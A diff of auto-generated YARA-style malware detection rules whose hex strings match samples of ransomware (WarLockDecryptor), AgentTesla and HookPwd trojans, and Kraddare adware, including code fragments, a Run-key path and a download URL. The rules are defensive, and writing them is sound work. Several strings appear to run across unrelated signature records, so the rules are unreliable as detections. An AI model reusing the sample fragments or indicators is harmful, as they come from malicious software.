>=2 } -rule _InfrastructureShared_11719{ +rule _InfrastructureShared_12479{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -129452,7 +137982,7 @@ rule _InfrastructureShared_11719{ ((#a_54_0 & 1)*18467+(#a_5d_1 & 1)*22551) >=2 } -rule _InfrastructureShared_11720{ +rule _InfrastructureShared_12480{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -129462,7 +137992,7 @@ rule _InfrastructureShared_11720{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_11721{ +rule _InfrastructureShared_12481{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -129473,7 +138003,7 @@ rule _InfrastructureShared_11721{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*104) >=2 } -rule _InfrastructureShared_11722{ +rule _InfrastructureShared_12482{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -129485,7 +138015,7 @@ rule _InfrastructureShared_11722{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*15392+(#a_72_2 & 1)*25934) >=2 } -rule _InfrastructureShared_11723{ +rule _InfrastructureShared_12483{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -129497,7 +138027,7 @@ rule _InfrastructureShared_11723{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*17995+(#a_a9_2 & 1)*0) >=2 } -rule _InfrastructureShared_11724{ +rule _InfrastructureShared_12484{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -129509,7 +138039,7 @@ rule _InfrastructureShared_11724{ ((#a_54_0 & 1)*18467+(#a_53_1 & 1)*770+(#a_23_2 & 1)*4) >=2 } -rule _InfrastructureShared_11725{ +rule _InfrastructureShared_12485{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -129517,26 +138047,39 @@ rule _InfrastructureShared_11725{ $a_54_0 = {3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 41 75 74 6f 49 74 49 6e 6a 65 63 74 6f 72 00 01 00 19 03 74 14 8d 85 24 ff ff ff 50 e8 90 01 02 ff ff 30 04 1e 46 3b f7 72 ec 90 00 0a 00 28 01 b8 ad 00 00 d9 0d 9b 0e bc 3e 9f 67 0a f8 00 00 cf 87 db 40 } //18467 $a_0b_1 = {b0 1b b0 69 78 c2 00 c3 91 56 42 a5 c7 1f 88 89 01 00 0c 01 fb 01 c4 51 01 91 d4 d8 5a 0f 57 55 01 00 20 01 a3 a1 96 4b 81 1f 58 6d cc 73 e1 21 5d 62 9d 38 4c c3 2d e6 93 45 59 49 51 d8 a3 27 c0 e9 63 b5 00 00 78 a9 00 00 02 00 02 00 06 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 } //30044 $a_73_2 = {72 5f 72 65 73 63 61 6e 00 01 00 0f 01 ac 8a c8 3c 0f 74 0f 66 81 7e ff cd 20 75 0a 01 00 10 01 8a 02 88 45 ff 2c 61 42 3c 19 77 04 80 45 ff e0 01 00 10 01 6a 05 66 c7 01 58 68 89 71 02 66 c7 41 06 50 e9 01 00 1e 01 c6 02 e9 8d 44 08 fb 89 42 01 83 eb 0c 89 5f 08 66 c7 07 58 68 89 77 02 66 c7 47 06 50 e9 01 00 } //25974 - $a_76_3 = {66 c7 45 fc 8b ff c7 45 f0 90 90 90 90 c6 45 f4 90 ff d7 01 00 0b 01 8b 4e 24 8d 04 19 80 38 e8 75 08 00 00 78 a9 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 42 54 4e 21 4d 54 42 00 01 00 5b 02 20 00 01 00 00 14 11 00 17 8d 90 01 03 01 25 16 02 28 90 01 03 06 a2 6f 90 01 03 0a 74 90 01 03 01 13 01 38 90 01 04 02 11 01 28 90 01 03 06 25 28 90 01 03 06 13 03 72 90 01 03 70 20 00 01 00 00 14 11 03 11 02 6f 90 01 03 0a 6f 90 01 03 0a 2a 28 0b 00 00 06 13 00 38 90 00 01 00 07 81 01 47 65 74 54 79 70 65 01 00 0c 81 01 43 6c 61 73 73 4c 69 62 72 61 72 79 00 00 78 a9 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 48 6f 6f 6b 50 77 64 2e 41 42 21 4d 54 42 00 01 00 } //278 + $a_76_3 = {66 c7 45 fc 8b ff c7 45 f0 90 90 90 90 c6 45 f4 90 ff d7 01 00 0b 01 8b 4e 24 8d 04 19 80 38 e8 75 08 00 00 78 a9 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 36 34 2f 57 61 72 4c 6f 63 6b 44 65 63 72 79 70 74 6f 72 2e 41 00 01 00 0c 00 5c 64 65 63 72 79 70 74 2e 70 64 62 01 00 2f 01 4d 47 46 31 00 00 00 00 52 53 41 00 00 00 00 00 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 52 49 56 41 54 45 20 4b 45 59 2d 2d 2d 2d 2d 01 00 34 01 48 00 6f 00 77 00 20 00 74 00 6f 00 20 00 64 00 65 00 63 00 72 00 79 00 70 00 74 00 20 00 6d 00 79 00 20 00 64 00 61 00 74 00 61 00 2e 00 74 00 78 00 74 00 00 00 78 a9 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 42 54 4e 21 4d 54 42 } //278 condition: ((#a_54_0 & 1)*18467+(#a_0b_1 & 1)*30044+(#a_73_2 & 1)*25974+(#a_76_3 & 1)*278) >=2 } -rule _InfrastructureShared_11726{ +rule _InfrastructureShared_12486{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " strings : $a_5f_0 = {78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 0f 01 ac 8a c8 3c 0f 74 0f 66 81 7e ff cd 20 75 0a 01 00 10 01 8a 02 88 45 ff 2c 61 42 3c 19 77 04 80 45 ff e0 01 00 10 01 6a 05 66 c7 01 58 68 89 71 02 66 c7 41 06 50 e9 01 00 1e 01 c6 02 e9 8d 44 08 fb 89 42 01 83 eb 0c 89 5f 08 66 c7 07 58 68 89 77 02 66 c7 47 } //25635 - $a_01_1 = {00 16 01 ff 76 28 66 c7 45 fc 8b ff c7 45 f0 90 90 90 90 c6 45 f4 90 ff d7 01 00 0b 01 8b 4e 24 8d 04 19 80 38 e8 75 08 00 00 78 a9 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 42 54 4e 21 4d 54 42 00 01 00 5b 02 20 00 01 00 00 14 11 00 17 8d 90 01 03 01 25 16 02 28 90 01 03 06 a2 6f 90 01 03 0a 74 90 01 03 01 13 01 38 90 01 04 02 11 01 28 90 01 03 06 25 28 90 01 03 06 13 03 72 90 01 03 70 20 00 01 00 00 14 11 03 11 02 6f 90 01 03 0a 6f 90 01 03 0a 2a 28 0b 00 00 06 13 00 38 90 00 01 00 07 81 01 47 65 74 54 79 70 65 01 00 0c 81 01 43 6c 61 73 73 4c 69 62 72 61 72 79 00 00 78 a9 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 } //20486 - $a_6e_2 = {57 69 6e 36 34 2f 48 6f 6f 6b 50 77 64 2e 41 42 21 4d 54 42 00 01 00 2e 01 4d 8b 47 08 8b c1 25 03 00 00 80 7d 07 ff c8 83 c8 fc ff c0 48 98 42 0f be 04 10 66 41 31 04 10 ff c1 48 83 c2 02 41 0f b7 07 3b c8 7c d2 01 00 2f 01 4d 8b 4e 08 8b c2 25 03 00 00 80 7d 07 ff c8 83 c8 fc ff c0 48 63 } //27247 - $a_be_3 = {11 66 43 31 04 01 ff c2 49 83 c0 02 41 0f b7 } //17096 - $a_7c_4 = {01 00 16 03 33 c9 44 8d 4a dc 41 b8 00 30 00 00 ff 15 90 01 04 48 8b d8 90 00 00 00 78 a9 00 00 03 00 03 00 03 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 4b 72 61 64 64 61 72 65 00 01 00 27 01 26 61 66 66 3d 00 00 00 69 65 73 69 67 6e 6b 65 79 39 36 33 00 00 00 00 54 69 65 73 69 67 6e 6b 65 79 5f 66 6f 72 6d 01 00 21 01 68 74 74 70 3a 2f 2f 77 77 77 2e 66 69 6e 64 6c 6f 63 6b 2e 63 6f 2e 6b 72 2f 61 70 70 5f 6e 65 77 01 00 35 01 53 6f 66 74 77 61 72 65 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 52 75 6e 5c 73 69 67 6e 6b 65 79 00 00 78 a9 00 00 03 00 03 } //15110 + $a_01_1 = {00 16 01 ff 76 28 66 c7 45 fc 8b ff c7 45 f0 90 90 90 90 c6 45 f4 90 ff d7 01 00 0b 01 8b 4e 24 8d 04 19 80 38 e8 75 08 00 00 78 a9 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 36 34 2f 57 61 72 4c 6f 63 6b 44 65 63 72 79 70 74 6f 72 2e 41 00 01 00 0c 00 5c 64 65 63 72 79 70 74 2e 70 64 62 01 00 2f 01 4d 47 46 31 00 00 00 00 52 53 41 00 00 00 00 00 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 52 49 56 41 54 45 20 4b 45 59 2d 2d 2d 2d 2d 01 00 34 01 48 00 6f 00 77 00 20 00 74 00 6f 00 20 00 64 00 65 00 63 00 72 00 79 00 70 00 74 00 20 00 6d 00 79 00 20 00 64 00 61 00 74 00 61 00 2e 00 74 00 78 00 74 00 00 00 78 a9 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 } //20486 + $a_6e_2 = {4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 42 54 4e 21 4d 54 42 00 01 00 5b 02 20 00 01 00 00 14 11 00 17 8d 90 01 03 01 25 16 02 28 90 01 03 06 a2 6f 90 01 03 0a 74 90 01 03 01 13 01 38 90 01 04 02 11 01 28 90 01 03 06 25 28 90 01 03 06 13 03 72 90 01 03 70 20 00 01 00 00 14 11 03 11 } //27247 + $a_01_3 = {03 0a 6f 90 01 03 0a 2a 28 0b 00 00 06 13 00 38 90 00 01 00 07 81 01 47 65 74 54 79 70 65 01 00 0c 81 01 43 6c 61 73 73 4c 69 62 72 61 72 79 00 00 78 a9 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 48 6f 6f 6b 50 77 64 2e 41 42 21 4d 54 42 00 01 00 2e 01 4d 8b 47 08 8b c1 25 03 00 00 80 7d 07 ff c8 83 c8 fc ff c0 48 98 42 0f be 04 10 66 41 31 04 10 ff c1 48 83 c2 02 41 0f b7 07 3b c8 7c d2 01 } //28418 + $a_4d_4 = {4e } //12032 N + $a_25_5 = {00 00 80 7d 07 ff c8 83 c8 fc ff c0 48 63 c8 42 0f be 04 11 66 43 31 04 01 ff c2 49 83 c0 02 41 0f b7 06 3b d0 7c d1 01 00 16 03 33 c9 44 8d 4a dc 41 b8 00 30 00 00 ff 15 90 01 04 48 8b d8 90 00 00 00 78 a9 00 00 03 00 03 00 03 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 4b 72 61 64 64 61 72 65 00 01 00 27 01 26 61 66 66 3d 00 00 00 69 65 73 69 67 6e 6b 65 79 39 36 33 00 00 00 00 54 69 65 73 69 67 6e 6b 65 79 5f 66 6f 72 6d 01 00 21 01 68 74 74 70 3a 2f 2f 77 77 77 2e 66 69 6e 64 6c 6f 63 6b 2e 63 6f 2e 6b 72 2f 61 70 70 5f 6e 65 77 01 00 35 01 53 6f 66 74 77 61 72 65 5c } //-29944 condition: - ((#a_5f_0 & 1)*25635+(#a_01_1 & 1)*20486+(#a_6e_2 & 1)*27247+(#a_be_3 & 1)*17096+(#a_7c_4 & 1)*15110) >=2 + ((#a_5f_0 & 1)*25635+(#a_01_1 & 1)*20486+(#a_6e_2 & 1)*27247+(#a_01_3 & 1)*28418+(#a_4d_4 & 1)*12032+(#a_25_5 & 1)*-29944) >=2 } -rule _InfrastructureShared_11727{ +rule _InfrastructureShared_12487{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_46_0 = {52 61 6e 73 6f 6d 3a 57 69 6e 36 34 2f 57 61 72 4c 6f 63 6b 44 65 63 72 79 70 74 6f 72 2e 41 00 01 00 0c 00 5c 64 65 63 72 79 70 74 2e 70 64 62 01 00 2f 01 4d 47 46 31 00 00 00 00 52 53 41 00 00 00 00 00 2d 2d 2d 2d 2d 42 45 47 } //16675 + $a_52_1 = {41 20 50 52 49 56 41 54 45 20 4b 45 59 2d 2d 2d 2d 2d 01 00 34 01 48 00 6f 00 77 00 20 00 74 00 } //20041 + $a_00_2 = {64 00 65 00 63 00 72 00 79 00 70 00 74 00 20 00 6d 00 79 00 20 00 64 00 61 00 74 00 61 00 2e 00 } //111 decrypt my data. + condition: + ((#a_46_0 & 1)*16675+(#a_52_1 & 1)*20041+(#a_00_2 & 1)*111) >=3 + +} +rule _InfrastructureShared_12488{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -129548,7 +138091,7 @@ rule _InfrastructureShared_11727{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*10241+(#a_42_2 & 1)*18624) >=3 } -rule _InfrastructureShared_11728{ +rule _InfrastructureShared_12489{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -129560,7 +138103,7 @@ rule _InfrastructureShared_11728{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*-11652+(#a_4e_2 & 1)*19713) >=3 } -rule _InfrastructureShared_11729{ +rule _InfrastructureShared_12490{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -129572,7 +138115,7 @@ rule _InfrastructureShared_11729{ ((#a_77_0 & 1)*16675+(#a_6f_1 & 1)*309+(#a_6e_2 & 1)*22330) >=3 } -rule _InfrastructureShared_11730{ +rule _InfrastructureShared_12491{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -129584,7 +138127,7 @@ rule _InfrastructureShared_11730{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*24948+(#a_00_2 & 1)*66) >=3 } -rule _InfrastructureShared_11731{ +rule _InfrastructureShared_12492{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -129596,7 +138139,7 @@ rule _InfrastructureShared_11731{ ((#a_54_0 & 1)*18467+(#a_31_1 & 1)*4367+(#a_70_2 & 1)*25928) >=3 } -rule _InfrastructureShared_11732{ +rule _InfrastructureShared_12493{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -129608,7 +138151,7 @@ rule _InfrastructureShared_11732{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*29541+(#a_65_2 & 1)*25966) >=3 } -rule _InfrastructureShared_11733{ +rule _InfrastructureShared_12494{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -129620,7 +138163,7 @@ rule _InfrastructureShared_11733{ ((#a_46_0 & 1)*21283+(#a_d2_1 & 1)*9220+(#a_00_2 & 1)*3) >=3 } -rule _InfrastructureShared_11734{ +rule _InfrastructureShared_12495{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -129633,7 +138176,7 @@ rule _InfrastructureShared_11734{ ((#a_77_0 & 1)*16675+(#a_73_1 & 1)*14948+(#a_3a_2 & 1)*29820+(#a_63_3 & 1)*17765) >=3 } -rule _InfrastructureShared_11735{ +rule _InfrastructureShared_12496{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -129641,25 +138184,37 @@ rule _InfrastructureShared_11735{ $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6f 73 74 75 6d 42 61 63 6b 64 6f 6f 72 2e 41 00 03 00 24 01 33 64 63 34 62 34 30 32 2d 38 34 34 35 2d 34 36 65 33 2d 38 39 30 30 2d 61 33 31 32 36 30 38 31 37 33 31 30 02 00 15 01 49 6e } //16675 $a_65_1 = {6e 63 6f 64 65 64 57 47 65 74 46 69 6c 65 02 00 0e 01 49 6e 76 6f 6b 65 57 47 65 74 46 69 6c 65 01 00 0e 01 57 72 69 74 65 45 6e 63 72 79 70 74 65 64 01 00 14 01 49 6e 76 6f 6b 65 45 6e 63 6f 64 65 64 43 6f 6d 6d 61 6e 64 00 00 78 a9 00 00 03 00 03 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 55 6c 61 } //28534 $a_2e_2 = {21 64 68 61 00 02 00 1c 01 5c 4c 6f 61 64 57 5c 6f 62 6a 5c 52 65 6c 65 61 73 65 5c 4c 6f 61 64 57 2e 70 64 62 02 00 10 03 5c 59 4b 4d 4d 5c 90 02 20 5c 6f 62 6a 5c 90 00 01 00 09 01 4c 6f 61 64 57 2e 65 78 65 01 00 07 01 44 4e 47 75 61 72 64 01 00 32 01 43 00 3a 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 54 00 65 00 6d } //28527 - $a_00_4 = {7d 00 5f 00 43 00 2e 00 74 00 78 00 74 00 00 00 78 a9 00 00 04 00 04 00 04 00 21 23 41 4c 46 50 45 52 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 } //123 + $a_00_4 = {7d 00 5f 00 43 00 2e 00 74 00 78 00 74 00 00 00 78 a9 00 00 04 00 04 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 6d 61 } //123 condition: ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*28534+(#a_2e_2 & 1)*28527+(#a_00_4 & 1)*123) >=3 } -rule _InfrastructureShared_11736{ +rule _InfrastructureShared_12497{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 55 6c 61 6f 6f 70 2e 41 21 64 68 61 00 02 00 1c 01 5c 4c 6f 61 64 57 5c 6f 62 6a 5c 52 65 6c 65 61 73 65 5c 4c 6f 61 64 57 2e 70 64 62 02 00 10 03 5c 59 4b 4d 4d 5c 90 02 20 5c 6f 62 6a 5c 90 } //21283 - $a_61_2 = {57 2e 65 78 65 01 00 07 01 44 4e 47 75 61 72 64 01 00 32 01 43 00 3a 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 54 00 65 00 6d 00 70 00 5c 00 7b 00 30 00 7d 00 5f 00 43 00 2e 00 74 00 78 00 74 00 00 00 78 a9 00 00 04 00 04 00 04 00 21 23 41 4c 46 50 45 52 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 4d 53 41 32 4d 66 } //19457 - $a_65_3 = {30 33 2e 64 6c 6c 21 64 68 61 00 01 00 0e 01 57 44 66 69 6c 74 65 72 30 33 2e 64 6c 6c 01 00 14 01 46 69 6c 74 65 72 5f 52 65 67 47 65 74 56 41 44 49 6e 66 6f 01 00 15 01 50 6c 61 79 6c 69 73 74 5f 46 69 6e 64 4e 65 78 74 49 74 65 6d 01 00 2d 03 33 c0 68 e7 00 00 00 f2 ae f7 d1 2b f9 68 90 01 04 8b d1 8b f7 8b 7c 24 14 68 90 01 04 c1 e9 02 f3 a5 } //27753 - $a_05_4 = {83 e1 03 f3 a4 90 00 00 00 78 a9 00 00 04 00 04 00 04 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4b 69 6e 67 43 6f 72 65 2e 41 21 64 68 61 00 01 00 07 01 44 4d 43 6c 61 73 73 01 00 13 01 52 75 6e 53 6f 68 75 4e 65 77 73 44 69 72 65 63 74 6c 79 01 00 10 01 53 74 61 72 74 50 6f 70 75 70 53 65 } //-13685 + $a_61_2 = {57 2e 65 78 65 01 00 07 01 44 4e 47 75 61 72 64 01 00 32 01 43 00 3a 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 54 00 65 00 6d 00 70 00 5c 00 7b 00 30 00 7d 00 5f 00 43 00 2e 00 74 00 78 00 74 00 00 00 78 a9 00 00 04 00 04 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 6d 61 64 65 79 2e 4e 4d 50 } //19457 + $a_42_3 = {01 00 26 01 2b c8 8d 04 0a 33 d2 f7 f3 8b 5d ec 8b cb 83 7b 14 10 72 02 8b 0b 8a 04 32 8b 75 f4 88 04 31 46 89 75 f4 3b 75 f0 01 00 28 01 8b 45 e8 8a d4 c0 ea 04 8a c8 c0 e1 02 80 e2 03 02 d1 8a c4 88 55 e4 8a 55 ea 8a ca c0 e0 04 c0 e9 02 80 e1 0f c0 } //19745 + $a_00_4 = {25 01 } //1762 ĥ condition: - ((#a_46_0 & 1)*21283+(#a_61_2 & 1)*19457+(#a_65_3 & 1)*27753+(#a_05_4 & 1)*-13685) >=3 + ((#a_46_0 & 1)*21283+(#a_61_2 & 1)*19457+(#a_42_3 & 1)*19745+(#a_00_4 & 1)*1762) >=3 } -rule _InfrastructureShared_11737{ +rule _InfrastructureShared_12498{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 6d 61 64 65 79 2e 4e 4d 50 21 4d 54 42 00 01 00 26 01 2b c8 8d 04 0a 33 d2 f7 f3 8b 5d ec 8b cb 83 7b 14 10 72 02 8b 0b 8a 04 32 8b 75 f4 88 04 31 46 89 75 f4 3b 75 f0 01 00 28 01 8b 45 } //16675 + $a_c0_1 = {04 8a c8 c0 e1 02 80 e2 03 02 d1 8a c4 88 55 e4 8a 55 ea 8a ca c0 e0 04 c0 e9 02 80 e1 0f c0 e2 06 02 00 25 01 d1 ea 2b c2 3b c8 76 07 bb ff ff ff 7f eb 08 8d 04 0a 3b d8 0f 42 d8 33 c9 8b c3 83 c0 01 0f 92 c1 f7 d9 0b c8 00 00 78 a9 00 00 04 00 04 00 04 00 21 23 41 4c 46 50 45 52 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 4d 53 41 32 4d 66 69 6c 74 65 72 30 33 2e 64 6c 6c 21 64 68 61 00 01 00 0e 01 57 44 66 69 6c 74 65 72 30 33 2e 64 6c 6c 01 00 14 01 46 69 6c 74 65 72 5f 52 65 67 47 65 74 56 41 44 49 6e 66 6f 01 00 15 01 50 6c 61 79 6c 69 73 74 5f 46 69 6e 64 4e 65 78 74 49 74 65 6d 01 00 2d 03 33 c0 68 e7 00 00 00 f2 ae f7 } //-29976 + $a_68_2 = {01 04 8b d1 8b f7 8b 7c 24 14 68 90 01 04 c1 e9 02 f3 a5 8b ca 6a 05 83 e1 03 f3 a4 90 00 00 00 78 a9 00 00 04 00 04 00 04 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4b 69 6e 67 43 6f 72 65 2e 41 21 64 68 61 00 01 00 07 01 44 4d 43 6c 61 73 73 01 00 13 01 52 75 6e 53 6f 68 75 4e 65 77 73 44 69 72 65 63 74 6c 79 01 00 10 01 53 74 61 72 74 50 6f 70 75 70 53 65 72 76 65 72 01 00 42 03 5c c6 44 24 90 01 01 6b c6 44 24 90 01 01 69 c6 44 24 90 01 01 6e c6 44 24 90 01 01 67 c6 44 24 90 01 01 73 c6 44 24 90 01 01 6f c6 44 24 90 01 01 66 c6 44 24 90 01 01 74 c6 44 24 90 01 01 5c 90 00 00 00 78 a9 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 41 44 33 } //11217 + condition: + ((#a_46_0 & 1)*16675+(#a_c0_1 & 1)*-29976+(#a_68_2 & 1)*11217) >=4 + +} +rule _InfrastructureShared_12499{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -129672,7 +138227,7 @@ rule _InfrastructureShared_11737{ ((#a_46_0 & 1)*16675+(#a_66_1 & 1)*18756+(#a_6f_2 & 1)*26478+(#a_90_3 & 1)*17606) >=4 } -rule _InfrastructureShared_11738{ +rule _InfrastructureShared_12500{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -129684,20 +138239,32 @@ rule _InfrastructureShared_11738{ ((#a_46_0 & 1)*16675+(#a_53_1 & 1)*30064+(#a_2e_2 & 1)*27763) >=4 } -rule _InfrastructureShared_11739{ +rule _InfrastructureShared_12501{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 41 44 33 33 21 4d 54 42 00 01 00 25 81 01 24 63 38 63 66 36 65 37 32 2d 66 33 65 34 2d 34 63 37 30 2d 38 33 37 31 2d 65 33 30 37 34 35 30 66 33 31 37 34 01 00 2a 81 01 59 6d } //18467 - $a_68_1 = {68 64 76 69 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 10 81 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 06 81 01 49 6e 76 6f 6b 65 00 00 78 a9 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 } //28536 - $a_55_2 = {36 33 00 01 00 1a 81 01 61 6d 74 73 72 61 61 64 73 66 6f 72 65 6e 69 6e 67 65 72 6e 65 73 2e 73 75 73 01 00 0f 81 01 69 63 6f 6e 6f 6d 65 74 72 69 63 2e 75 6e 64 01 00 1f 81 01 67 72 69 62 65 72 73 20 68 79 70 65 72 73 75 73 70 69 63 69 6f 75 73 20 } //11890 - $a_6f_3 = {65 72 01 00 22 81 01 61 6d 6f 75 72 6f 75 73 65 73 20 73 6c 75 67 68 61 6c 73 65 6e 73 20 65 6e 74 65 72 70 72 69 73 65 73 00 00 78 a9 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 42 69 74 6d 6f 6e 65 72 6f 00 01 00 1f 01 65 3a 5c 63 72 79 70 74 6f 6e 69 67 68 74 5c 62 69 74 6d 6f 6e 65 72 6f 2d 6d 61 73 74 65 } //25956 + $a_68_1 = {68 64 76 69 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 10 81 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 06 81 01 49 6e 76 6f 6b 65 00 00 78 a9 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 } //28536 + $a_41_2 = {30 31 21 4d 54 42 00 01 00 2c 81 01 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 20 73 61 63 72 6f 70 65 63 74 69 6e 65 61 6c 20 63 6f 6e 74 72 6f 6c 6c 61 62 6c 65 6e 65 73 73 01 00 0d 81 01 62 69 73 65 63 74 69 6f 6e 61 6c 6c 79 01 00 0e 81 01 73 70 6f 72 } //11890 + $a_73_3 = {73 2e 65 78 65 01 00 1f 81 01 6c 61 6e 64 66 6f 72 6d 73 20 61 64 65 6c 69 67 74 20 6f 72 67 61 6e 69 73 65 72 65 64 65 73 00 00 78 a9 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 53 55 49 36 33 00 01 00 1a 81 01 61 6d 74 73 72 61 61 64 73 66 6f 72 65 6e 69 6e 67 65 72 6e 65 73 2e 73 } //26725 condition: - ((#a_54_0 & 1)*18467+(#a_68_1 & 1)*28536+(#a_55_2 & 1)*11890+(#a_6f_3 & 1)*25956) >=4 + ((#a_54_0 & 1)*18467+(#a_68_1 & 1)*28536+(#a_41_2 & 1)*11890+(#a_73_3 & 1)*26725) >=4 } -rule _InfrastructureShared_11740{ +rule _InfrastructureShared_12502{ + meta: + description = 